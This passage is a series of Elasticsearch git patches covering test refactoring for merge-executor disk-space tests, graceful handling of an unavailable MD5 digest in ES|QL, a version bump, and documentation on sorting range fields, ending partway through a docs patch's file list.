@@ -20,6 +20,7 @@ dependencies {
   freeTests project(path: ':rest-api-spec', configuration: 'restTests')
   freeTests project(path: ':modules:aggregations', configuration: 'restTests')
   freeTests project(path: ':modules:analysis-common', configuration: 'restTests')
+  freeTests project(path: ':modules:data-streams', configuration: 'restTests')
   freeTests project(path: ':modules:ingest-geoip', configuration: 'restTests')
   compatApis project(path: ':rest-api-spec', configuration: 'restCompatSpecs')
   compatApis project(path: ':x-pack:plugin', configuration: 'restCompatSpecs')

From 80eae7d8f8dc62f7c9fb0ce81a59b8e3c4100811 Mon Sep 17 00:00:00 2001
From: Eric <22215921+ericywl@users.noreply.github.com>
Date: Thu, 3 Jul 2025 16:26:50 +0800
Subject: [PATCH 056/299] Update apm-data resource version to 100 (#130477)

---
 x-pack/plugin/apm-data/src/main/resources/resources.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/apm-data/src/main/resources/resources.yaml b/x-pack/plugin/apm-data/src/main/resources/resources.yaml
index d76fd19f57d0d..70a612a5a0005 100644
--- a/x-pack/plugin/apm-data/src/main/resources/resources.yaml
+++ b/x-pack/plugin/apm-data/src/main/resources/resources.yaml
@@ -1,7 +1,7 @@
 # "version" holds the version of the templates and ingest pipelines installed
 # by xpack-plugin apm-data. This must be increased whenever an existing template or
 # pipeline is changed, in order for it to be updated on Elasticsearch upgrade.
-version: 16
+version: 100
 
 component-templates:
   # Data lifecycle.

From 33a0d9d562d7f4940be2b9795e836e6372f34271 Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Thu, 3 Jul 2025 11:44:37 +0300
Subject: [PATCH 057/299]  [9.1] TEST Segregate test methods in
 ThreadPoolMergeExecutorServiceDiskSpaceTests wrt to the mocked filesystems
 (#130430) #130524

Previously, out of zealousness for testing efficiency, the mocked
filesystems were reused across the test suite class. But this makes
tests liable to interference wrt to filesystem stats calls. Moreover, if
one test fails, it can trigger failures in other test methods.

This PR recreates the mocked filesystems for every test method.

Fixes #129296 #130205
---
 muted-tests.yml                               |  3 -
 ...oolMergeExecutorServiceDiskSpaceTests.java | 88 ++++++-------------
 2 files changed, 25 insertions(+), 66 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 474cd870c18d2..069fd22933231 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -485,9 +485,6 @@ tests:
 - class: org.elasticsearch.xpack.ml.integration.ClassificationIT
   method: testWithDatastreams
   issue: https://github.com/elastic/elasticsearch/issues/129457
-- class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
-  method: testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable
-  issue: https://github.com/elastic/elasticsearch/issues/129296
 - class: org.elasticsearch.xpack.profiling.action.GetStatusActionIT
   method: testWaitsUntilResourcesAreCreated
   issue: https://github.com/elastic/elasticsearch/issues/129486
diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
index 8a497d09320ff..33a86ef5709ad 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
@@ -27,8 +27,7 @@
 import org.elasticsearch.threadpool.TestThreadPool;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
+import org.junit.Before;
 
 import java.io.IOException;
 import java.nio.file.FileStore;
@@ -59,8 +58,8 @@
 
 public class ThreadPoolMergeExecutorServiceDiskSpaceTests extends ESTestCase {
 
-    private static TestMockFileStore aFileStore = new TestMockFileStore("mocka");
-    private static TestMockFileStore bFileStore = new TestMockFileStore("mockb");
+    private static TestMockFileStore aFileStore;
+    private static TestMockFileStore bFileStore;
     private static String aPathPart;
     private static String bPathPart;
     private static int mergeExecutorThreadCount;
@@ -69,8 +68,10 @@ public class ThreadPoolMergeExecutorServiceDiskSpaceTests extends ESTestCase {
     private static NodeEnvironment nodeEnvironment;
     private static boolean setThreadPoolMergeSchedulerSetting;
 
-    @BeforeClass
-    public static void installMockUsableSpaceFS() throws Exception {
+    @Before
+    public void setupTestEnv() throws Exception {
+        aFileStore = new TestMockFileStore("mocka");
+        bFileStore = new TestMockFileStore("mockb");
         FileSystem current = PathUtils.getDefaultFileSystem();
         aPathPart = "a-" + randomUUID();
         bPathPart = "b-" + randomUUID();
@@ -96,8 +97,14 @@ public static void installMockUsableSpaceFS() throws Exception {
         nodeEnvironment = new NodeEnvironment(settings, TestEnvironment.newEnvironment(settings));
     }
 
-    @AfterClass
-    public static void removeMockUsableSpaceFS() {
+    @After
+    public void removeMockUsableSpaceFS() {
+        if (setThreadPoolMergeSchedulerSetting) {
+            assertWarnings(
+                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
+                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
+            );
+        }
         PathUtilsForTesting.teardown();
         aFileStore = null;
         bFileStore = null;
@@ -105,11 +112,6 @@ public static void removeMockUsableSpaceFS() {
         nodeEnvironment.close();
     }
 
-    @After
-    public void cleanupThreadPool() {
-        testThreadPool.scheduledTasks.clear();
-    }
-
     static class TestCapturingThreadPool extends TestThreadPool {
         final List<Tuple<TimeValue, Cancellable>> scheduledTasks = new ArrayList<>();
 
@@ -319,8 +321,6 @@ public void testDiskSpaceMonitorStartsAsDisabled() throws Exception {
                 )
             );
         }
-        aFileStore.throwIoException = false;
-        bFileStore.throwIoException = false;
     }
 
     public void testAvailableDiskSpaceMonitorWhenFileSystemStatErrors() throws Exception {
@@ -406,8 +406,6 @@ public void testAvailableDiskSpaceMonitorWhenFileSystemStatErrors() throws Excep
                 }
             });
         }
-        aFileStore.throwIoException = false;
-        bFileStore.throwIoException = false;
     }
 
     public void testAvailableDiskSpaceMonitorSettingsUpdate() throws Exception {
@@ -516,12 +514,6 @@ public void testAvailableDiskSpaceMonitorSettingsUpdate() throws Exception {
                 }
             }, 5, TimeUnit.SECONDS);
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 
     public void testAbortingOrRunningMergeTaskHoldsUpBudget() throws Exception {
@@ -564,7 +556,7 @@ public void testAbortingOrRunningMergeTaskHoldsUpBudget() throws Exception {
                 testDoneLatch.await();
                 return null;
             }).when(stallingMergeTask).abort();
-            threadPoolMergeExecutorService.submitMergeTask(stallingMergeTask);
+            assertTrue(threadPoolMergeExecutorService.submitMergeTask(stallingMergeTask));
             // assert the merge task is holding up disk space budget
             expectedAvailableBudget.set(expectedAvailableBudget.get() - taskBudget);
             assertBusy(
@@ -574,7 +566,7 @@ public void testAbortingOrRunningMergeTaskHoldsUpBudget() throws Exception {
             ThreadPoolMergeScheduler.MergeTask mergeTask = mock(ThreadPoolMergeScheduler.MergeTask.class);
             when(mergeTask.estimatedRemainingMergeSize()).thenReturn(randomLongBetween(0L, expectedAvailableBudget.get()));
             when(mergeTask.schedule()).thenReturn(RUN);
-            threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+            assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
             assertBusy(() -> {
                 verify(mergeTask).schedule();
                 verify(mergeTask).run();
@@ -595,12 +587,6 @@ public void testAbortingOrRunningMergeTaskHoldsUpBudget() throws Exception {
                 assertThat(threadPoolMergeExecutorService.allDone(), is(true));
             });
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 
     public void testBackloggedMergeTasksDoNotHoldUpBudget() throws Exception {
@@ -654,7 +640,7 @@ && randomBoolean()) {
                     testDoneLatch.await();
                     return null;
                 }).when(mergeTask).abort();
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                 if (mergeTask.schedule() == RUN) {
                     runningMergeTasks.add(mergeTask);
                 } else {
@@ -679,7 +665,7 @@ && randomBoolean()) {
                         return RUN;
                     }
                 }).when(mergeTask).schedule();
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                 backloggingMergeTasksScheduleCountMap.put(mergeTask, 1);
             }
             int checkRounds = randomIntBetween(1, 10);
@@ -712,7 +698,7 @@ && randomBoolean()) {
                 long taskBudget = randomLongBetween(1L, backloggedMergeTaskDiskSpaceBudget);
                 when(mergeTask.estimatedRemainingMergeSize()).thenReturn(taskBudget);
                 when(mergeTask.schedule()).thenReturn(RUN);
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                 assertBusy(() -> {
                     verify(mergeTask).schedule();
                     verify(mergeTask).run();
@@ -739,12 +725,6 @@ && randomBoolean()) {
                 assertThat(threadPoolMergeExecutorService.allDone(), is(true));
             });
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 
     public void testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution() throws Exception {
@@ -823,7 +803,7 @@ public void testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution() thro
                     runningOrAbortingMergeTasksList.add(mergeTask);
                     latchesBlockingMergeTasksList.add(blockMergeTaskLatch);
                 }
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
             }
             // currently running (or aborting) merge tasks have consumed some of the available budget
             while (runningOrAbortingMergeTasksList.isEmpty() == false) {
@@ -855,8 +835,8 @@ public void testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution() thro
                     // merge task 2 can run because it is under budget
                     when(mergeTask2.estimatedRemainingMergeSize()).thenReturn(underBudget);
                 }
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask1);
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask2);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask1));
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask2));
                 assertBusy(() -> {
                     if (task1Runs) {
                         verify(mergeTask1).schedule();
@@ -890,12 +870,6 @@ public void testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution() thro
             bFileStore.usableSpace = Long.MAX_VALUE;
             assertBusy(() -> assertThat(threadPoolMergeExecutorService.allDone(), is(true)));
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 
     public void testEnqueuedMergeTasksAreUnblockedWhenEstimatedMergeSizeChanges() throws Exception {
@@ -990,12 +964,6 @@ public void testEnqueuedMergeTasksAreUnblockedWhenEstimatedMergeSizeChanges() th
                 }
             });
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 
     public void testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable() throws Exception {
@@ -1058,7 +1026,7 @@ public void testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable() throws
                     testDoneLatch.await();
                     return null;
                 }).when(mergeTask).abort();
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                 if (mergeTask.schedule() == RUN) {
                     runningMergeTasks.add(mergeTask);
                 } else {
@@ -1083,7 +1051,7 @@ public void testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable() throws
                 when(mergeTask.estimatedRemainingMergeSize()).thenReturn(taskBudget);
                 Schedule schedule = randomFrom(RUN, ABORT);
                 when(mergeTask.schedule()).thenReturn(schedule);
-                threadPoolMergeExecutorService.submitMergeTask(mergeTask);
+                assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                 if (schedule == RUN) {
                     overBudgetTasksToRunList.add(mergeTask);
                 } else {
@@ -1150,11 +1118,5 @@ public void testMergeTasksAreUnblockedWhenMoreDiskSpaceBecomesAvailable() throws
                 );
             });
         }
-        if (setThreadPoolMergeSchedulerSetting) {
-            assertWarnings(
-                "[indices.merge.scheduler.use_thread_pool] setting was deprecated in Elasticsearch "
-                    + "and will be removed in a future release. See the breaking changes documentation for the next major version."
-            );
-        }
     }
 }

From 2a8e3f7d822c808efcd5caee1a68690531e8887b Mon Sep 17 00:00:00 2001
From: Tim Vernum <tim@adjective.org>
Date: Thu, 3 Jul 2025 19:58:51 +1000
Subject: [PATCH 058/299] Handle unavailable MD5 in ES|QL (#130158) (#130533)

In Java 14 the `MessageDigest` specification was changed so that the
"MD5" hash function is no longer required. It is permissible for a JRE
to ship without support for MD5 hashes.

This commit modifies the ES|QL MD5 hash function implementation so
that if the specified `MessageDigest` object is not available on startup,
then the error is non-fatal, and the node will still boot successfully.

If an ES|QL query attempts to make use of md5, and it is unavailable,
then the query will fail with an ES|QL verification exception

Resolves: #129689
---
 docs/changelog/130158.yaml                    |   5 +
 .../org/elasticsearch/common/util/Result.java | 102 ++++++++++++++++++
 .../common/util/ResultTests.java              |  47 ++++++++
 .../function/scalar/string/Hash.java          |   9 ++
 .../function/scalar/string/Md5.java           |  20 +++-
 .../scalar/string/HashStaticTests.java        |  29 +++++
 6 files changed, 209 insertions(+), 3 deletions(-)
 create mode 100644 docs/changelog/130158.yaml
 create mode 100644 server/src/main/java/org/elasticsearch/common/util/Result.java
 create mode 100644 server/src/test/java/org/elasticsearch/common/util/ResultTests.java

diff --git a/docs/changelog/130158.yaml b/docs/changelog/130158.yaml
new file mode 100644
index 0000000000000..ffacbcfc740ef
--- /dev/null
+++ b/docs/changelog/130158.yaml
@@ -0,0 +1,5 @@
+pr: 130158
+summary: Handle unavailable MD5 in ES|QL
+area: ES|QL
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/common/util/Result.java b/server/src/main/java/org/elasticsearch/common/util/Result.java
new file mode 100644
index 0000000000000..57bcb56861da9
--- /dev/null
+++ b/server/src/main/java/org/elasticsearch/common/util/Result.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.common.util;
+
+import org.elasticsearch.common.CheckedSupplier;
+
+import java.util.Optional;
+
+/**
+ * A wrapper around either
+ * <ul>
+ * <li>a successful result of parameterized type {@code V}</li>
+ * <li>a failure with exception type {@code E}</li>
+ * </ul>
+ */
+public abstract class Result<V, E extends Exception> implements CheckedSupplier<V, E> {
+
+    public static <V, E extends Exception> Result<V, E> of(V value) {
+        return new Success<>(value);
+    }
+
+    public static <V, E extends Exception> Result<V, E> failure(E exception) {
+        return new Failure<>(exception);
+    }
+
+    private Result() {}
+
+    public abstract V get() throws E;
+
+    public abstract Optional<E> failure();
+
+    public abstract boolean isSuccessful();
+
+    public boolean isFailure() {
+        return isSuccessful() == false;
+    };
+
+    public abstract Optional<V> asOptional();
+
+    private static class Success<V, E extends Exception> extends Result<V, E> {
+        private final V value;
+
+        Success(V value) {
+            this.value = value;
+        }
+
+        @Override
+        public V get() throws E {
+            return value;
+        }
+
+        @Override
+        public Optional<E> failure() {
+            return Optional.empty();
+        }
+
+        @Override
+        public boolean isSuccessful() {
+            return true;
+        }
+
+        @Override
+        public Optional<V> asOptional() {
+            return Optional.of(value);
+        }
+    }
+
+    private static class Failure<V, E extends Exception> extends Result<V, E> {
+        private final E exception;
+
+        Failure(E exception) {
+            this.exception = exception;
+        }
+
+        @Override
+        public V get() throws E {
+            throw exception;
+        }
+
+        @Override
+        public Optional<E> failure() {
+            return Optional.of(exception);
+        }
+
+        @Override
+        public boolean isSuccessful() {
+            return false;
+        }
+
+        @Override
+        public Optional<V> asOptional() {
+            return Optional.empty();
+        }
+    }
+}
diff --git a/server/src/test/java/org/elasticsearch/common/util/ResultTests.java b/server/src/test/java/org/elasticsearch/common/util/ResultTests.java
new file mode 100644
index 0000000000000..cfb489b6224c6
--- /dev/null
+++ b/server/src/test/java/org/elasticsearch/common/util/ResultTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.common.util;
+
+import org.elasticsearch.ElasticsearchException;
+import org.elasticsearch.ElasticsearchStatusException;
+import org.elasticsearch.rest.RestStatus;
+import org.elasticsearch.test.ESTestCase;
+
+import static org.elasticsearch.test.hamcrest.OptionalMatchers.isEmpty;
+import static org.elasticsearch.test.hamcrest.OptionalMatchers.isPresentWith;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.sameInstance;
+
+public class ResultTests extends ESTestCase {
+
+    public void testSuccess() {
+        final String str = randomAlphaOfLengthBetween(3, 8);
+        final Result<String, ElasticsearchException> result = Result.of(str);
+        assertThat(result.isSuccessful(), is(true));
+        assertThat(result.isFailure(), is(false));
+        assertThat(result.get(), sameInstance(str));
+        assertThat(result.failure(), isEmpty());
+        assertThat(result.asOptional(), isPresentWith(str));
+    }
+
+    public void testFailure() {
+        final ElasticsearchException exception = new ElasticsearchStatusException(
+            randomAlphaOfLengthBetween(10, 30),
+            RestStatus.INTERNAL_SERVER_ERROR
+        );
+        final Result<String, ElasticsearchException> result = Result.failure(exception);
+        assertThat(result.isSuccessful(), is(false));
+        assertThat(result.isFailure(), is(true));
+        assertThat(expectThrows(Exception.class, result::get), sameInstance(exception));
+        assertThat(result.failure(), isPresentWith(sameInstance(exception)));
+        assertThat(result.asOptional(), isEmpty());
+    }
+
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Hash.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Hash.java
index be0a7b2fe27b2..c95e229b04419 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Hash.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Hash.java
@@ -11,6 +11,7 @@
 import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
 import org.elasticsearch.common.io.stream.StreamInput;
 import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.common.util.Result;
 import org.elasticsearch.compute.ann.Evaluator;
 import org.elasticsearch.compute.ann.Fixed;
 import org.elasticsearch.compute.operator.BreakingBytesRefBuilder;
@@ -202,6 +203,14 @@ public static HashFunction create(BytesRef literal) throws NoSuchAlgorithmExcept
             return new HashFunction(algorithm, MessageDigest.getInstance(algorithm));
         }
 
+        public static Result<HashFunction, NoSuchAlgorithmException> tryCreate(String algorithm) {
+            try {
+                return Result.of(new HashFunction(algorithm, MessageDigest.getInstance(algorithm)));
+            } catch (NoSuchAlgorithmException e) {
+                return Result.failure(e);
+            }
+        }
+
         public HashFunction copy() {
             try {
                 return new HashFunction(algorithm, MessageDigest.getInstance(algorithm));
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Md5.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Md5.java
index b42ec1036cb5b..4d30f6b1b37f4 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Md5.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/Md5.java
@@ -9,6 +9,8 @@
 
 import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
 import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.common.util.Result;
+import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.tree.NodeInfo;
 import org.elasticsearch.xpack.esql.core.tree.Source;
@@ -18,17 +20,24 @@
 import org.elasticsearch.xpack.esql.expression.function.scalar.string.Hash.HashFunction;
 
 import java.io.IOException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
 import java.util.List;
 
 public class Md5 extends AbstractHashFunction {
 
     public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(Expression.class, "MD5", Md5::new);
 
-    private static final HashFunction MD5 = HashFunction.create("MD5");
+    /**
+     * As of Java 14, it is permissible for a JRE to ship without the {@code MD5} {@link MessageDigest}.
+     * We want the "md5" function in ES|QL to fail at runtime on such platforms (rather than at startup)
+     * so we wrap the {@link HashFunction} in a {@link Result}.
+     */
+    private static final Result<HashFunction, NoSuchAlgorithmException> MD5 = HashFunction.tryCreate("MD5");
 
     @FunctionInfo(
         returnType = "keyword",
-        description = "Computes the MD5 hash of the input.",
+        description = "Computes the MD5 hash of the input (if the MD5 hash is available on the JVM).",
         examples = { @Example(file = "hash", tag = "md5") }
     )
     public Md5(Source source, @Param(name = "input", type = { "keyword", "text" }, description = "Input to hash.") Expression input) {
@@ -41,7 +50,12 @@ private Md5(StreamInput in) throws IOException {
 
     @Override
     protected HashFunction getHashFunction() {
-        return MD5;
+        try {
+            return MD5.get();
+        } catch (NoSuchAlgorithmException e) {
+            // Throw a new exception so that the stack trace reflects this call (rather than the static initializer for the MD5 field)
+            throw new VerificationException("function 'md5' is not available on this platform: {}", e.getMessage());
+        }
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/HashStaticTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/HashStaticTests.java
index 871bec7c06804..61577ee56777e 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/HashStaticTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/HashStaticTests.java
@@ -13,22 +13,30 @@
 import org.elasticsearch.common.util.BigArrays;
 import org.elasticsearch.common.util.MockBigArrays;
 import org.elasticsearch.common.util.PageCacheRecycler;
+import org.elasticsearch.common.util.Result;
 import org.elasticsearch.compute.data.BlockFactory;
 import org.elasticsearch.compute.operator.DriverContext;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.hamcrest.OptionalMatchers;
 import org.elasticsearch.xpack.esql.core.InvalidArgumentException;
 import org.elasticsearch.xpack.esql.core.expression.Literal;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.junit.After;
 
+import java.security.NoSuchAlgorithmException;
+import java.security.Provider;
+import java.security.Security;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
 
+import static org.elasticsearch.test.TestMatchers.throwableWithMessage;
 import static org.elasticsearch.xpack.esql.expression.function.AbstractFunctionTestCase.evaluator;
 import static org.elasticsearch.xpack.esql.expression.function.AbstractFunctionTestCase.field;
+import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.startsWith;
 
 public class HashStaticTests extends ESTestCase {
@@ -45,6 +53,27 @@ public void testInvalidAlgorithmLiteral() {
         assertThat(e.getMessage(), startsWith("invalid algorithm for [hast(\"invalid\", input)]: invalid MessageDigest not available"));
     }
 
+    public void testTryCreateUnavailableMd5() throws NoSuchAlgorithmException {
+        assumeFalse("We run with different security providers in FIPS, and changing them at runtime is more complicated", inFipsJvm());
+        final Provider sunProvider = Security.getProvider("SUN");
+        try {
+            Security.removeProvider("SUN");
+            final Result<Hash.HashFunction, NoSuchAlgorithmException> result = Hash.HashFunction.tryCreate("MD5");
+            assertThat(result.isSuccessful(), is(false));
+            assertThat(result.failure(), OptionalMatchers.isPresentWith(throwableWithMessage(containsString("MD5"))));
+            expectThrows(NoSuchAlgorithmException.class, result::get);
+        } finally {
+            Security.addProvider(sunProvider);
+        }
+
+        {
+            final Result<Hash.HashFunction, NoSuchAlgorithmException> result = Hash.HashFunction.tryCreate("MD5");
+            assertThat(result.isSuccessful(), is(true));
+            assertThat(result.failure(), OptionalMatchers.isEmpty());
+            assertThat(result.get().algorithm(), is("MD5"));
+        }
+    }
+
     /**
      * The following fields and methods were borrowed from AbstractScalarFunctionTestCase
      */

From 14681fb5626628b38cda06e12ec8efa384031f78 Mon Sep 17 00:00:00 2001
From: Dimitris Rempapis <dimitris.rempapis@elastic.co>
Date: Thu, 3 Jul 2025 12:59:04 +0300
Subject: [PATCH 059/299] Add doumentation for sorting over range fields
 (#130539)

---
 .../elasticsearch/mapping-reference/range.md  | 64 +++++++++++++++++++
 1 file changed, 64 insertions(+)

diff --git a/docs/reference/elasticsearch/mapping-reference/range.md b/docs/reference/elasticsearch/mapping-reference/range.md
index 95a573222292b..b11edc7e4102c 100644
--- a/docs/reference/elasticsearch/mapping-reference/range.md
+++ b/docs/reference/elasticsearch/mapping-reference/range.md
@@ -215,6 +215,70 @@ The following parameters are accepted by range types:
 [`store`](/reference/elasticsearch/mapping-reference/mapping-store.md)
 :   Whether the field value should be stored and retrievable separately from the [`_source`](/reference/elasticsearch/mapping-reference/mapping-source-field.md) field. Accepts `true` or `false` (default).
 
+## Sorting
+
+Sorting is not supported for any of the `range` field types. Attempting to sort by a field of type range_field will result in a `400 Bad Request` response.
+For example, executing a sort query on a field of type `integer_range`,
+```console
+PUT idx
+{
+  "mappings": {
+    "properties": {
+      "my_range": {
+        "type": "integer_range"
+      }
+    }
+  }
+}
+
+POST idx/_search
+{
+  "sort": [
+    {
+      "my_range": {
+        "order": "asc"
+      }
+    }
+  ]
+}
+```
+results in the following response:
+```console-result
+{
+    "error": {
+        "root_cause": [
+            {
+                "type": "illegal_argument_exception",
+                "reason": "Sorting by range field [my_range] is not supported"
+            }
+        ],
+        "type": "search_phase_execution_exception",
+        "reason": "all shards failed",
+        "phase": "query",
+        "grouped": true,
+        "failed_shards": [
+            {
+                "shard": 0,
+                "index": "idx",
+                "node": "7pzVSCf5TuSNZYj-N7u3tw",
+                "reason": {
+                    "type": "illegal_argument_exception",
+                    "reason": "Sorting by range field [my_range] is not supported"
+                }
+            }
+        ],
+        "caused_by": {
+            "type": "illegal_argument_exception",
+            "reason": "Sorting by range field [my_range] is not supported",
+            "caused_by": {
+                "type": "illegal_argument_exception",
+                "reason": "Sorting by range field [my_range] is not supported"
+            }
+        }
+    },
+    "status": 400
+}
+```
 
 ## Synthetic `_source` [range-synthetic-source]
 

From 2f276403b7b0d6121462a1934c2b741c665582e3 Mon Sep 17 00:00:00 2001
From: Craig Taverner <craig@amanzi.com>
Date: Thu, 3 Jul 2025 12:49:20 +0200
Subject: [PATCH 060/299] [9.1] Fixes to null-predicates and lookup-join docs
 (#130440 #130410) (#130537)

* Support types table in lookup join docs (#130410)

* Support types table in lookup join docs
* Don't show a results column in the join types
* Make LOOKUP JOIN types table more compact
* Update docs/reference/query-languages/esql/esql-lookup-join.md

Co-authored-by: Liam Thompson <32779855+leemthompo@users.noreply.github.com>
Co-authored-by: Alexander Spies <alexander.spies@elastic.co>

* Fix the ESQL docs for the null predicates (#130440)

Fix null predicates docs

* This also includes moving the note above the examples in the Kibana inline docs.
* Add missing knn docs
* Refine newlines in kibana docs

---------

Co-authored-by: Liam Thompson <32779855+leemthompo@users.noreply.github.com>
Co-authored-by: Alexander Spies <alexander.spies@elastic.co>
---
 .../_snippets/commands/layout/lookup-join.md  |   3 +
 .../_snippets/commands/types/lookup-join.md   |  21 ++
 .../_snippets/functions/description/knn.md    |   6 +
 .../esql/_snippets/functions/examples/knn.md  |  30 +++
 .../functions/functionNamedParams/knn.md      |  19 ++
 .../esql/_snippets/functions/layout/knn.md    |  30 +++
 .../_snippets/functions/parameters/knn.md     |  13 ++
 .../operators/examples/predicates.md          |  26 ---
 .../_snippets/operators/types/predicates.md   |  22 --
 .../query-languages/esql/esql-lookup-join.md  |  37 +++-
 .../esql/images/operators/predicates.svg      |   1 -
 .../definition/functions/st_geohash.json      |   2 +-
 .../definition/functions/st_geohex.json       |   2 +-
 .../functions/st_geohex_to_long.json          |   2 +-
 .../functions/st_geohex_to_string.json        |   2 +-
 .../definition/functions/st_geotile.json      |   2 +-
 .../functions/st_geotile_to_long.json         |   2 +-
 .../functions/st_geotile_to_string.json       |   2 +-
 .../definition/operators/is_not_null.json     |   3 +
 .../kibana/definition/operators/is_null.json  |   3 +
